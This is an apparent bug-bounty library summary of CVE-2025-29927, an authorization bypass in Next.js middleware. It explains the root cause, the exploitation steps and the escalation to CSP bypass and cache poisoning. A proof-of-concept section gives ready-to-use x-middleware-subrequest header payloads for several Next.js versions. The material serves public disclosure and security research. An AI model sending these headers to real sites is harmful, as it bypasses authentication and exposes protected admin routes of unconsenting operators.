# Next.js and the corrupt middleware: the authorizing artifact

Next.js middleware authorization could be bypassed by sending a crafted x-middleware-subrequest header, skipping auth, rewrites and CSP for all versions 11.1.4+.

- Payout: Research
- Severity: critical
- Program: Vercel
- Disclosed: 2025-03-18
- CVE: CVE-2025-29927
- Write-up quality: 9/10
- Original: https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- Library page: https://bugbountylibrary.com/r/blog%3Azhero-web-sec-github-io-research-and-things-nextjs-and-the-corrupt-middleware
- Tags: area:web domain:web impact:integrity impact:privesc kind:research platform:research sev:critical tech:nextjs tech:nodejs technique:default-creds technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Next.js middleware (pages/_middleware, middleware.ts, src/middleware)
**Root cause:** runMiddleware trusts the client-supplied x-middleware-subrequest header to detect recursive subrequests; if it contains the middleware path (repeated MAX_RECURSION_DEPTH=5 times on newer versions), the middleware is skipped and NextResponse.next() forwards the request.
**Steps:**
1. Read old v12.0.7 source: runMiddleware splits x-middleware-subrequest on ':' and checks if it contains middlewareInfo.name
2. Determine middlewareInfo.name = middleware file path (e.g. `pages/_middleware` pre-12.2, `middleware` or `src/middleware` after)
3. Send request to protected path with header `x-middleware-subrequest: pages/_middleware` (old) or `x-middleware-subrequest: middleware` (12.2+)
4. On v15.1.7+ send `x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware` (or src/middleware variant) to satisfy depth >= MAX_RECURSION_DEPTH
5. Observe middleware skipped: protected /admin/login reachable, CSP/cookies not set, rewrites bypassed
**How found:** Browsing old Next.js v12.0.7 source, noticed runMiddleware reads x-middleware-subrequest and compares split values to middlewareInfo.name; hypothesized the header acts as a universal key, then derived the guessable name from middleware file path conventions and later found newer versions used a recursion-depth counter requiring 5 repetitions.
**Exploitation:** Attacker sends a normal HTTP request to a middleware-protected route (e.g. /admin/login or /dashboard/team/admin) adding the x-middleware-subrequest header with the guessed middleware path repeated 5x on modern versions. Middleware returns NextResponse.next() without running auth/rewrite/CSP logic, granting direct access to protected endpoints or stripping security headers.
**Escalation:** Chained to CSP bypass (middleware-set CSP/cookies skipped) and cache-poisoning DoS by forcing caching of 404/500 on rewritten root paths.
**Insight:** Framework-internal headers used to detect self-recursion (subrequest markers, depth counters) are attacker-controllable; grep for headers compared against internal path/name constants and check whether repeating the value satisfies depth thresholds.

## Proof of concept (copied exactly from the original report)

**x-middleware-subrequest header bypass payloads**

```
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware


or

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
```

**Old version bypass header**

```
x-middleware-subrequest: pages/_middleware
```

**v12.2+ bypass header**

```
x-middleware-subrequest: middleware


## /src directory
It should also be taken into account that Next.js gives the possibility to create a /src directory:
As an alternative to having the special Next.js app or pages directories in the root of your project, Next.js also supports the common pattern of placing application code under the src directory. (Next.js documentation)
In which case the payload would be:

x-middleware-subrequest: src/middleware
```

## Write-ups of the same bug (oldest first)
- 2025-03-18: [Next.js and the corrupt middleware: the authorizing artifact](https://bugbountylibrary.com/r/blog%3Azhero-web-sec-github-io-research-and-things-nextjs-and-the-corrupt-middleware) (this one)
- 2025-03-24: [Next.js Middleware Bypass CVE-2025-29927: Due Diligence Analysis](https://bugbountylibrary.com/r/blog%3Aslcyber-io-research-doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927) — zhero & inzo_

